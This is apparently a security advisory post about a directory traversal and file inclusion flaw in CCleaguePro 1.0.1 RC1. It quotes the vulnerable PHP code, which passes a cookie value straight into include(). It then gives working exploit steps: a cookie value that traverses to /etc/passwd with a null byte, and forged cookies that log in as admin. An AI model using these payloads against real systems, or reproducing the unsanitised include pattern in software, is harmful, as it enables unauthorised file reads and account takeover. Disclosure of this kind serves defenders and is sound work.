CCleaguePro_V1.0.1RC1 Directory Traversal Vulnerability

[snakeapollon () yahoo com]

CCleaguePro_V1.0.1RC1 Directory Traversal Vulnerability
==============================================================
CCleaguePro
Version: 1.0.1 RC1
Website URL:http://www.castillocentral.com/
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Discoved by Snake 
[Unkn0wn Security Researcher]
The original article can be found at: http://unkn0wn.awardspace.com/
==============================================================
[XIII Security ResearcherZ]
Gr33tZ t0 :l0pht.blackhat,Kouros,Sasan, All Iranian Hackerz
==============================================================
Vulnerable code is in index.php & some 0ther pageZ
in line 27-35 :

---------------cut here --------------->

  if($_COOKIE["language"]) {

        $llang = $_COOKIE["language"];
} 
else 
{
        
$l_array = explode("-",$lang_array[0]);
        $llang = $l_array[0];

        setcookie("language",$llang,time()+1209600,"","","");

}


include("lang/".$llang.".php");
---------------cut here ---------------<

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Ex:
open cookies and find portal cookies,chang this in first line(use opera for changing,is too easy whit 
opera!==>tools==>advance==>cookies):
---------------cut here --------------->
language

en
to
language

../../../../../../../../../etc/passwd%00
---------------cut here ---------------<

in you found admin's email for login can chang cookeis some thing like this:

> ---------------cut here ---------------
u

snake%40lolo.com


type

admin
---------------cut here ---------------<

and login Admin!